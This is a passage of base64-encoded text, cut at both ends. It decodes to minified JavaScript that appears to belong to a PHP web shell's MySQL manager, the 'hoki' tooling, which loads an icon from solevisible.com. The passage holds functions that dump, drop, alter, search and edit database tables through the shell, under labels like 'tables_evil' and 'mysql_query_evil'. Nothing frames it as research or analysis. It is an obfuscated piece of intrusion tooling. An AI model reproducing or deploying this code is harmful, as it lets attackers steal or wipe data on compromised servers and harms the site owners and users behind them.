xheT1pfWZ1bmN0aW9uIGhva2lNeXNxbFRhYmxlc0R1bXBEcm9wQnRuKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJ0YXJnZXQiKSxhPWUuZ2V0QXR0cmlidXRlKCJkYl90YXJnZXQiKSxpPWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGw9W10scj1kL
nF1ZXJ5U2VsZWN0b3IoIiMiK2krIiBpbnB1dFtuYW1lPXNxbF9jb3VudF0iKS5jaGVja2VkLG89ZC5xdWVyeVNlbGVjdG9yKCIjIitpKyIgIit0KSxuPW8ucXVlcnlTZWxlY3Rvcigic2VsZWN0W25hbWU9dGFibGVzX2V2aWxdIikudmFsdWUscz1v
LnF1ZXJ5U2VsZWN0b3IoIi5kdW1wLWZpbGUtaG9sZGVyIGlucHV0IikudmFsdWU7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjIitpKyIgIit0KyIgaW5wdXRbbmFtZT10YmxcXFtcXF1dIikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmNoZWNrZWQmJmwucHV
zaChlLnZhbHVlKX0pLGwubGVuZ3RoPjAmJmhva2lNeXNxbEFwaSh7ZGJfaWQ6aSxkYl90YXJnZXQ6YSxhamF4X2lkOiJteXNxbF9xdWVyeV9ldmlsIixkYl9pbmZvOnt0YWJsZXM6bCxtb2RlOm4sZHVtcF9maWxlOnN9LHBvc3Q6e2hva2kyOiJkdW
1wX2Ryb3AifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksImRyb3AiPT1uP2hva2lNeXNxbE1ha2VUYmxMaXN0KGUsbyxpLGEscik6by5xdWVyeVNlbGVjdG9yKCIuZHVtcC1maWxlLWhvbGRlciIpLmluc2VydEFka
mFjZW50SFRNTCgiYmVmb3JlZW5kIiwiPGRpdj48YSBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiK3MrJyIsImRvd25sb2FkIik7XCc+PHNwYW4+RG93bmxvYWQ6ICcrcysiPC9zcGFu
PjwvYT48L2Rpdj4iKSl9KX1mdW5jdGlvbiBob2tpTXlzcWxNYWtlVGJsTGlzdChlLHQsYSxpLGwpe3Quc2V0QXR0cmlidXRlKCJtb2RlIiwibG9hZGVkIik7dmFyIHI9Jzx1bD48bGk+PGRpdiBjbGFzcz0iYmxvY2siPjxpPjwvaT48Yj48L2I+PC9
kaXY+PGRpdj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDA7bWFyZ2luLWxlZnQ6IDExcHg7dGV4dC1hbGlnbjpjZW50ZXI7IiB0eXBlPSJ0ZXh0IiBjbGFzcz0iZGItb3B0LWlkIiBkYl9pZD0iJythKyciIHBsYWNlaG9sZGVyPSJGaWx0ZXIgVGFibG
UiIHRhcmdldD0iLmNscy0nK2krJyIgb25rZXl1cD0iaG9raU15c3FsRmlsdGVyVGFibGUodGhpcyk7IiBuYW1lPSJmaWx0ZXIiPjwvZGl2PjwvbGk+Jztmb3IodmFyIG8gaW4gZSludWxsIT1lW29dJiYocis9IjxsaT48ZGl2IGNsYXNzPSdibG9ja
yc+PGk+PC9pPjxiPjwvYj48L2Rpdj48ZGl2IGNsYXNzPSd0YWJsZXMtcm93Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIitlW29dLm5hbWUrIic+Jm5ic3A7PGEgY2xhc3M9J2RiLW9wdC1pZCcgZGJfdGFyZ2V0
PSciK2krIicgZGJfaWQ9JyIrYSsiJyBocmVmPSdqYXZhc2NyaXB0OnZvaWQoMCk7JyBvbmNsaWNrPVwiaG9raUxvYWRUYWJsZURhdGEodGhpcywgJyIrZVtvXS5uYW1lKyInKVwiPjxzcGFuIGNsYXNzPSdteXNxbF90YWJsZXMnIHN0eWxlPSdmb25
0LXdlaWdodDp1bnNldDsnPiIrZVtvXS5uYW1lKyI8L3NwYW4+PC9hPiIrKGw/IiA8c21hbGw+PHNwYW4gc3R5bGU9J2ZvbnQtd2VpZ2h0OnVuc2V0OycgY2xhc3M9J215c3FsX3RhYmxlX2NvdW50Jz4oIitlW29dLmNvdW50KyIpPC9zcGFuPjwvc2
1hbGw+IjoiJm5ic3A7IikrIjwvZGl2PjwvbGk+Iik7cis9JzwvdWw+PGRpdiBzdHlsZT0ibWFyZ2luLWxlZnQ6IDI2cHg7bWFyZ2luLWJvdHRvbTogMTBweDttYXJnaW4tdG9wOiAxMHB4OyI+PGlucHV0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZ
XNFdmlsKHRoaXMpOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZGItb3B0LWlkIiB0YXJnZXQ9Ii5jbHMtJytpKyciIHR5cGU9ImNoZWNrYm94IiBjbGFzcz0iZGItb3B0LWlkIj48c2VsZWN0IG9uY2hhbmdlPSJob2tpTXlzcWxUYWJsZXNEdW1wRHJv
cCh0aGlzKTsiIGNsYXNzPSJkYi1vcHQtaWQiIGRiX2lkPSInK2ErJyIgdGFyZ2V0PSIuY2xzLScraSsnIiBjbGFzcz0iZGItb3B0LWlkIiBuYW1lPSJ0YWJsZXNfZXZpbCIgc3R5bGU9InBhZGRpbmc6IDA7d2lkdGg6IDEwMHB4OyI+PG9wdGlvbiB
zZWxlY3RlZD5kcm9wPC9vcHRpb24+PG9wdGlvbj5kdW1wPC9vcHRpb24+PC9zZWxlY3Q+IDxidXR0b24gb25jbGljaz0iaG9raU15c3FsVGFibGVzRHVtcERyb3BCdG4odGhpcyk7cmV0dXJuIGZhbHNlOyIgZGJfaWQ9IicrYSsnIiBjbGFzcz0iZG
Itb3B0LWlkIiBkYl90YXJnZXQ9IicraSsnIiB0YXJnZXQ9Ii5jbHMtJytpKyciIGNsYXNzPSJkYi1vcHQtaWQiPkRvIGl0PC9idXR0b24+PGRpdiBjbGFzcz0iZHVtcC1maWxlLWhvbGRlciIgc3R5bGU9ImRpc3BsYXk6bm9uZTttYXJnaW4tbGVmd
DoyMHB4O21hcmdpbi10b3A6IDVweDsiPjxpbnB1dCBzdHlsZT0icGFkZGluZzogMDt0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIHBsYWNlaG9sZGVyPSJkdW1wLnNxbCIgbmFtZT0iZHVtcF9maWxlIj48L2Rpdj48L2Rpdj4nLHQuaW5u
ZXJIVE1MPXIsZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLmNscy0iK2krIi1leHBhbmRlciBpbWciKS5zcmM9Imh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaWNvbnMvbWVudS9iX21pbnVzLnBuZyJ9ZnVuY3Rpb24gaG9raU15c3FsUXVlcnkoZSl7dmF
yIHQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiB0ZXh0YXJlYVtuYW1lPXF1ZXJ5XSIpLnZhbHVlO2hva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YX
JnZXQ6dCxhamF4X2lkOiJteXNxbF9sb2FkX3F1ZXJ5X2RhdGEiLGRiX2luZm86e3F1ZXJ5Oml9LHBvc3Q6e2hva2kyOiJxdWVyeSJ9fSxmdW5jdGlvbihlKXswIT1lLmxlbmd0aCYmKGU9SlNPTi5wYXJzZShlKSxob2tpTXlzcWxSZXBvcnRCdWlsZ
GVyKGEsZSksZC5xdWVyeVNlbGVjdG9yKCIjIithKyIgLm15c3FsLXF1ZXJ5LXRhYmxlIikuaW5uZXJIVE1MPWUuc3RhdHVzP2UudGFibGU6IiIsaG9raU15c3FsVGFiQ3RsKHtjaGlsZDoxLGRiX2lkOmEsdGFyZ2V0OiIubXlzcWwtcXVlcnktcmVz
dWx0LWNvbnRlbnQifSwhMCkpfSl9ZnVuY3Rpb24gaG9raU15c3FsUmVwb3J0QnVpbGRlcihlLHQpe3ZhciBhPSIiO3Quc3RhdHVzfHwoYT0iPGRpdj48c3Bhbj5FcnJvcjogPC9zcGFuPjxkaXYgc3R5bGU9J3BhZGRpbmctbGVmdDogNTBweDsnPjx
wcmU+Iit0LmVycm9yKyI8L3ByZT48L2Rpdj48L2Rpdj4iKTt2YXIgaT0iPGRpdj48c3Bhbj5RdWVyeTo8L3NwYW4+PGRpdiBzdHlsZT0ncGFkZGluZy1sZWZ0OiA1MHB4Oyc+PHByZT4iK3QucXVlcnkrIjwvcHJlPjwvZGl2PiIrYSsiPC9kaXY+Ij
tkLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiAubXlzcWwtcXVlcnktcmVwb3J0ZXIiKS5pbm5lckhUTUw9aX1mdW5jdGlvbiBob2tpTXlzcWxUYWJsZVBhbmVsQ3RsKGUpe3ZhciB0PWUuZ2V0QXR0cmlidXRlKCJkYl9pZCIpLGE9KHQ9ZS5nZXRBdHRya
WJ1dGUoImRiX2lkIiksZC5xdWVyeVNlbGVjdG9yKCIjIit0KSksaT1hLnF1ZXJ5U2VsZWN0b3IoIi50YWJsZXMtcGFuZWwtY3RsIik7Im5vbmUiPT1pLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMi
KS5zdHlsZS5kaXNwbGF5PSJibG9jayIsaS5zZXRBdHRyaWJ1dGUoIm1vZGUiLCJibG9jayIpLGkuaW5uZXJIVE1MPSImI3gzQzsmI3gzQzsiLGEucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdHMtZml4ZWQiKS5jbGFzc0xpc3QucmV
tb3ZlKCJteXNxbC1xdWVyeS1yZXN1bHRzLWZpeGVkIikpOihhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC10YWJsZXMiKS5zdHlsZS5kaXNwbGF5PSJub25lIixpLnNldEF0dHJpYnV0ZSgibW9kZSIsIm5vbmUiKSxpLmlubmVySFRNTD0iJiN4M0U7Ji
N4M0U7IixhLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1xdWVyeS1yZXN1bHRzIikuY2xhc3NMaXN0LmFkZCgibXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZCIpKSxpLmNsYXNzTGlzdC50b2dnbGUoInRhYmxlcy1wYW5lbC1jdGwtbWluIil9ZnVuY3Rpb
24gaG9raU15c3FsVGFiQ3RsKGUsdCl7dmFyIGE9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKTplLmRiX2lkLGk9dm9pZCAwPT09dD9lLmdldEF0dHJpYnV0ZSgidGFyZ2V0Iik6ZS50YXJnZXQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIj
IithKyIgLm15c3FsLXF1ZXJ5LWNvbnRlbnQiKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2xhc3NMaXN0LmFkZCgibXlzcWwtaGlkZS1jb250ZW50Iil9KSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgLm1
5c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLmNsYXNzTGlzdC5yZW1vdmUoIm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYiIpLHZvaWQgMD09PXQ/ZS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKTpkLnF1ZXJ5U2VsZWN0b3
IoIiMiK2ErIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCgiK2UuY2hpbGQrIikiKS5jbGFzc0xpc3QuYWRkKCJteXNxbC1xdWVyeS1zZWxlY3RlZC10YWIiKSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2ErIiAiK2kpLmNsYXNzT
GlzdC5yZW1vdmUoIm15c3FsLWhpZGUtY29udGVudCIpfWZ1bmN0aW9uIGhva2lMb2FkVGFibGVEYXRhKGUsdCl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGk9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIik7aG9raU15c3FsQXBpKHtk
Yl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX2xvYWRfdGFibGVfZGF0YSIsZGJfaW5mbzp7dGFibGU6dH0scG9zdDp7aG9raTI6ImxvYWRfZGF0YSJ9fSxmdW5jdGlvbihlKXtpZigwIT1lLmxlbmd0aCl7ZT1KU09OLnBhcnNlKGUpO3Z
hciBsPSIiLHI9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1YjhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD
48L3RyPiIsbz0iPHRhYmxlIGJvcmRlcj0nMSc+PHRyIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0O2JhY2tncm91bmQtY29sb3I6ICMzMDViOGU7Y29sb3I6I0ZGRkZGRjsnPjx0aD5Db2x1bW48L3RoPjx0aD5UeXBlPC90aD48dGg+VmFsdWU8L3RoP
jx0aD5DaGFuZ2U8L3RoPjwvdHI+IixuPSI8dGFibGUgYm9yZGVyPScxJz48dHIgc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7YmFja2dyb3VuZC1jb2xvcjogIzMwNWI4ZTtjb2xvcjojRkZGRkZGOyc+PHRoPkNvbHVtbjwvdGg+PHRoPlR5cGU8L3Ro
Pjx0aD5Db2xsYXRpb248L3RoPjx0aD5PcGVyYXRvcjwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiIscz1bImludCIsInNtYWxsaW50IiwiYmlnaW50IiwidGlueWludCIsIm1lZGl1bWludCJdLGM9WyJsb25ndGV4dCIsInRleHQiLCJtZWRpdW10ZXh
0IiwidGlueXRleHQiXTtmb3IodmFyIHUgaW4gZS5jb2x1bW5zKXt2YXIgcD0idGV4dCI7LTEhPXMuaW5kZXhPZihlLmNvbHVtbnNbdV0uZGF0YV90eXBlKSYmKHA9Im51bWJlciIpLG4rPSI8dHI+PHRoIHN0eWxlPSd0ZXh0LWFsaWduOiBsZWZ0Oy
c+IitlLmNvbHVtbnNbdV0ubmFtZSsiPC90aD48dGQ+IitlLmNvbHVtbnNbdV0udHlwZSsiPC90ZD48dGQ+IitlLmNvbHVtbnNbdV0uY29sbGF0aW9uKyI8L3RkPjx0ZD48c2VsZWN0IG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIic+PG9wdGlvb
iB2YWx1ZT0nPSc+PTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9JyE9Jz4hPTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Jz4nPiZndDs8L29wdGlvbj48b3B0aW9uIHZhbHVlPSc+PSc+Jmd0Oz08L29wdGlvbj48b3B0aW9uIHZhbHVlPSc8Jz4mbHQ7PC9v
cHRpb24+PG9wdGlvbiB2YWx1ZT0nPD0nPiZsdDs9PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIj0gJydcIj49ICcnPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cIiE9ICcnXCI+IT0gJyc8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdMSUtFJz5MSUtFPC9
vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTElLRSAlLi4uJSc+TElLRSAlLi4uJTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J05PVCBMSUtFJz5OT1QgTElLRTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J1JFR0VYUCc+UkVHRVhQPC9vcHRpb24+PG9wdGlvbi
B2YWx1ZT0nUkVHRVhQIF4uLi4kJz5SRUdFWFAgXi4uLiQ8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdOT1QgUkVHRVhQJz5OT1QgUkVHRVhQPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nSU4gKC4uLiknPklOICguLi4pPC9vcHRpb24+PG9wdGlvbiB2Y
Wx1ZT0nTk9UIElOICguLi4pJz5OT1QgSU4gKC4uLik8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdCRVRXRUVOJz5CRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nTk9UIEJFVFdFRU4nPk5PVCBCRVRXRUVOPC9vcHRpb24+PG9wdGlvbiB2YWx1
ZT0nSVMgTlVMTCc+SVMgTlVMTDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J0lTIE5PVCBOVUxMJz5JUyBOT1QgTlVMTDwvb3B0aW9uPjwvc2VsZWN0PjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSciK3ArIicgbmFtZT0nIitlLmNvbHVtbnNbdV0ubmFtZSs
iJz48L3RkPjwvdHI+Ijt2YXIgZj1ob2tpTXlzcWxMb2FkRGF0YVR5cGUoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk7bnVsbD09ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWUmJihlLmNvbHVtbnNbdV0udHlwZV92YWx1ZT0iIiksbys9Ijx0cj48dGggc3
R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD48c2VsZWN0IG5hbWU9J3NlbF8iK2UuY29sdW1uc1t1XS5uYW1lKyInPiIrZisiPC9zZWxlY3Q+PC90ZD48dGQ+PGlucHV0IG5hbWU9J3ZhbHVlXyIrZ
S5jb2x1bW5zW3VdLm5hbWUrIicgdHlwZT0ndGV4dCcgdmFsdWU9JyIrKC0xPT1jLmluZGV4T2YoZS5jb2x1bW5zW3VdLmRhdGFfdHlwZSk/ZS5jb2x1bW5zW3VdLnR5cGVfdmFsdWU6IiIpKyInPjwvdGQ+PHRkPjxidXR0b24gY29sX25hbWU9JyIr
ZS5jb2x1bW5zW3VdLm5hbWUrIicgdGJsX25hbWU9JyIrdCsiJyBkYl9pZD0nIitpKyInIGRiX3RhcmdldD0nIithKyInIG9uY2xpY2s9J2hva2lNeXNxbEFsdGVyVGJsKHRoaXMpO3JldHVybiBmYWxzZTsnPkNoYW5nZTwvYnV0dG9uPjwvdGQ+PC9
0cj4iO3ZhciBtPSIiO3N3aXRjaChlLmNvbHVtbnNbdV0uZGF0YV90eXBlKXtjYXNlImxvbmd0ZXh0IjpjYXNlInRleHQiOm09Ijx0ZXh0YXJlYSBuYW1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHJvd3M9JzUnPjwvdGV4dGFyZWE+IjticmVhaz
tjYXNlImludCI6Y2FzZSJzbWFsbGludCI6Y2FzZSJiaWdpbnQiOm09IjxpbnB1dCB0eXBlPSdudW1iZXInIG5hbWU9JyIrZS5jb2x1bW5zW3VdLm5hbWUrIicgdmFsdWU9Jyc+IjticmVhaztkZWZhdWx0Om09IjxpbnB1dCB0eXBlPSd0ZXh0JyBuY
W1lPSciK2UuY29sdW1uc1t1XS5uYW1lKyInIHZhbHVlPScnPiJ9cis9Ijx0cj48dGggc3R5bGU9J3RleHQtYWxpZ246IGxlZnQ7Jz4iK2UuY29sdW1uc1t1XS5uYW1lKyI8L3RoPjx0ZD4iK2UuY29sdW1uc1t1XS50eXBlKyI8L3RkPjx0ZD4iK20r
IjwvdGQ+PC90cj4ifWlmKHIrPSI8L3RhYmxlPjxkaXYgc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrPSdob2tpTXlzcWxVcGRhdGV
Sb3codGhpcywgXCJpbnNlcnRcIik7cmV0dXJuIGZhbHNlOyc+SW5zZXJ0PC9idXR0b24+PC9kaXY+PGRpdiBjbGFzcz0nbXlzcWwtaW5zZXJ0LXJlc3VsdCc+PC9kaXY+IixvKz0iPC90YWJsZT48ZGl2IGNsYXNzPSdteXNxbC1zdHJ1Y3R1cmUtcX
Jlcyc+PC9kaXY+IixuKz0iPC90YWJsZT48ZGl2IHN0eWxlPSdwYWRkaW5nLWxlZnQ6IDM4NHB4O21hcmdpbi10b3A6IDE1cHg7Jz48YnV0dG9uIHRibF9uYW1lPSciK3QrIicgZGJfaWQ9JyIraSsiJyBkYl90YXJnZXQ9JyIrYSsiJyBvbmNsaWNrP
Sdob2tpTXlzcWxTZWFyY2godGhpcyk7cmV0dXJuIGZhbHNlOyc+U2VhcmNoPC9idXR0b24+PC9kaXY+IixlLnBhZ2VzPjApe2wrPSI8c3BhbiBzdHlsZT0nY3Vyc29yOnBvaW50ZXI7JyBkYl9pZD0nIitpKyInIG9uY2xpY2s9J2hva2lNeXNxbENo
YW5nZVBhZ2UodGhpcywxKTsnPjw8PC9zcGFuPiA8c3Bhbj4gcGFnZTogPC9zcGFuPiA8c2VsZWN0IHRibF9uYW1lPSciK3QrIicgZGJfdGFyZ2V0PSciK2ErIicgbmFtZT0nbXlzcWwtcS1wYWdlcycgZGJfaWQ9JyIraSsiJyBjbGFzcz0nZGItb3B
0LWlkJyBvbmNoYW5nZT0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzKTsnIHBhZ2VzPSciK2UucGFnZXMrIic+Ijtmb3IodmFyIGI9MTtiPGUucGFnZXMrMTtiKyspbCs9IjxvcHRpb24+IitiKyI8L29wdGlvbj4iO2wrPSI8L3NlbGVjdD48c3Bhbj
4gT2YgIitlLnBhZ2VzKyI8L3NwYW4+IDxzcGFuIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIGRiX2lkPSciK2krIicgb25jbGljaz0naG9raU15c3FsQ2hhbmdlUGFnZSh0aGlzLDIpOyc+Pj48L3NwYW4+In12YXIgeT1kLnF1ZXJ5U2VsZWN0b3IoI
iMiK2kpO3kucXVlcnlTZWxlY3RvcigiLm15c3FsLXNlYXJjaC1hcmVhIikuaW5uZXJIVE1MPW4seS5xdWVyeVNlbGVjdG9yKCIubXlzcWwtaW5zZXJ0LXJvdyIpLmlubmVySFRNTD1yLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLWVkaXQtcm93Iiku
aW5uZXJIVE1MPSIiLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSIpLmlubmVySFRNTD1vLHkucXVlcnlTZWxlY3RvcigiLm15c3FsLXF1ZXJ5LXJlc3VsdC1oZWFkZXIgLm15c3FsLXF1ZXJ5LXBhZ2VyIikuaW5uZXJIVE1MPWwseS5
xdWVyeVNlbGVjdG9yKCIubXlzcWwtcXVlcnktdGFibGUiKS5pbm5lckhUTUw9ZS5zdGF0dXM/ZS50YWJsZToiIixob2tpTXlzcWxUYWJDdGwoe2NoaWxkOjEsZGJfaWQ6aSx0YXJnZXQ6Ii5teXNxbC1xdWVyeS1yZXN1bHQtY29udGVudCJ9LCEwKS
xkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Om50aC1jaGlsZCg2KSIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGhva2lNeXNxbFJlcG9ydEJ1aWxkZXIoaSxlKX19KX1mdW5jdGlvbiBob2tpTXlzcWxBb
HRlclRibChlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgiZGJfdGFyZ2V0IiksYT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxpPWQucXVlcnlTZWxlY3RvcigiIyIrYSksbD1lLmdldEF0dHJpYnV0ZSgidGJsX25hbWUiKSxyPWUuZ2V0QXR0cmlidXRl
KCJjb2xfbmFtZSIpLG89e307by50eXBlPWkucXVlcnlTZWxlY3RvcigiLm15c3FsLXN0cnVjdHVyZSBzZWxlY3RbbmFtZT1zZWxfIityKyJdIikudmFsdWUsby5pbnB1dD1pLnF1ZXJ5U2VsZWN0b3IoIi5teXNxbC1zdHJ1Y3R1cmUgaW5wdXRbbmF
tZT12YWx1ZV8iK3IrIl0iKS52YWx1ZSxob2tpTXlzcWxBcGkoe2RiX2lkOmEsZGJfdGFyZ2V0OnQsYWpheF9pZDoibXlzcWxfdGFibGVfYWx0ZXIiLGRiX2luZm86e3RhYmxlOmwsY29sdW1uOnIsYWx0ZXI6b30scG9zdDp7aG9raTI6ImFsdGVyIn
19LGZ1bmN0aW9uKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1zdHJ1Y3R1cmUtcXJlcyIpO3QuaW5uZXJIVE1MPWUsdC5zdHlsZS5kaXNwbGF5PSJibG9jayJ9KX1mdW5jdGlvbiBob2tpTXlzcWxTZWFyY2goZSl7dmFyI
HQ9ZS5nZXRBdHRyaWJ1dGUoImRiX3RhcmdldCIpLGE9ZS5nZXRBdHRyaWJ1dGUoImRiX2lkIiksaT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2EpLGw9ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1lIikscj17fTtpLnF1ZXJ5U2VsZWN0b3JBbGwoIi5teXNx
bC1zZWFyY2gtYXJlYSBpbnB1dCwgLm15c3FsLXNlYXJjaC1hcmVhIHNlbGVjdCIpLmZvckVhY2goZnVuY3Rpb24oZSl7ci5oYXNPd25Qcm9wZXJ0eShlLm5hbWUpfHwocltlLm5hbWVdPXt9KSwiU0VMRUNUIj09ZS50YWdOYW1lP3JbZS5uYW1lXS5
vcHQ9ZS52YWx1ZTpyW2UubmFtZV0udmFsdWU9ZS52YWx1ZX0pLGhva2lNeXNxbEFwaSh7ZGJfaWQ6YSxkYl90YXJnZXQ6dCxhamF4X2lkOiJteXNxbF90YWJsZV9zZWFyY2hfcXVlcnkiLGRiX2luZm86e3RhYmxlOmwsc2VhcmNoOnJ9LHBvc3Q6e2
hva2kyOiJzZWFyY2gifX0sZnVuY3Rpb24oZSl7MCE9ZS5sZW5ndGgmJihlPUpTT04ucGFyc2UoZSksaG9raU15c3FsUmVwb3J0QnVpbGRlcihhLGUpLGhva2lNeXNxbFRhYkN0bCh7Y2hpbGQ6MSxkYl9pZDphLHRhcmdldDoiLm15c3FsLXF1ZXJ5L
XJlc3VsdC1jb250ZW50In0sITApLGQucXVlcnlTZWxlY3RvcigiIyIrYSsiIC5teXNxbC1xdWVyeS10YWJsZSIpLmlubmVySFRNTD1lLnRhYmxlKX0pfWZ1bmN0aW9uIGhva2lNeXNxbEVkaXRSb3coZSx0KXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgi
ZGJfdGFyZ2V0IiksaT1lLmdldEF0dHJpYnV0ZSgiZGJfaWQiKSxsPShkLnF1ZXJ5U2VsZWN0b3IoIiMiK2kpLGUuZ2V0QXR0cmlidXRlKCJjb2xfa2V5IikpLHI9ZS5nZXRBdHRyaWJ1dGUoImtleSIpLG89ZS5nZXRBdHRyaWJ1dGUoInRibF9uYW1
lIiksbj1lLmdldEF0dHJpYnV0ZSgicm93X2lkIik7aG9raU15c3FsQXBpKHtkYl9pZDppLGRiX3RhcmdldDphLGFqYXhfaWQ6Im15c3FsX3RhYmxlX2VkaXRfcXVlcnkiLGRiX2luZm86e3RhYmxlOm8sY29sX2tleTpsLGtleTpyfSxwb3N0Ontob2
tpMjp0fX0sZnVuY3Rpb24oZSl7aWYoMCE9ZS5sZW5ndGgpaWYoZT1KU09OLnBhcnNlKGUpLCJlZGl0Ij09dCl7dmFyIHM9Ijx0YWJsZSBib3JkZXI9JzEnPjx0ciBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDtiYWNrZ3JvdW5kLWNvbG9yOiAjMzA1Y
jhlO2NvbG9yOiNGRkZGRkY7Jz48dGg+Q29sdW1uPC90aD48dGg+VHlwZTwvdGg+PHRoPlZhbHVlPC90aD48L3RyPiI7Zm9yKHZhciBjIGluIGUpe3ZhciB1PSIiO3N3aXRjaChlW2NdLnR5cGUudGFnKXtjYXNlInRleHRhcmVhIjp1PSI8dGV4dGFy
ZWEgbmFtZT0nIitlW2NdLmNvbCsiJyByb3dzPSc1Jz4iK2VbY10udmFsdWUrIjwvdGV4dGFyZWE+IjticmVhaztjYXNlImlucHV0Ijp1PSI8aW5wdXQgdHlwZT0nIitlW2NdLnR5cGUudHlwZSsiJyBuYW1lPSciK2VbY10uY29sKyInIHZhbHVlPSc
iK2VbY10udmFsdWUrIic+In1zKz0iPHRyPjx0aCBzdHlsZT0ndGV4dC1hbGlnbjogbGVmdDsnPiIrZVtjXS5jb2wrIjwvdGg+PHRkPiIrZVtjXS50eXBlLmNvbF90eXBlKyI8L3RkPjx0ZD4iK3UrIjwvdGQ+PC90cj4ifXMrPSI8L3RhYmxlPjxkaX
Ygc3R5bGU9J21hcmdpbi1sZWZ0OjIwcHg7Jz48YnV0dG9uIGNvbF9rZXk9JyIrbCsiJyBrZXk9JyIrcisiJyB0YmxfbmFtZT0nIitvKyInIGRiX2lkPSciK2krIicgZGJfdGFyZ2V0PSciK2ErIicgb25jbGljaz0naG9raU15c3FsVXBkYXRlUm93K
HRoaXMsIFwiZWRpdFwiKTtyZXR1cm4gZmFsc2U7Jz5VcGRhdGU8L2J1dHRvbj48L2Rpdj48ZGl2IGNsYXNzPSdteXNxbC11cGRhdGUtcmVzdWx0Jz48L2Rpdj4iLGQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5teXNxbC1lZGl0LXJvdyIpLmlubmVy
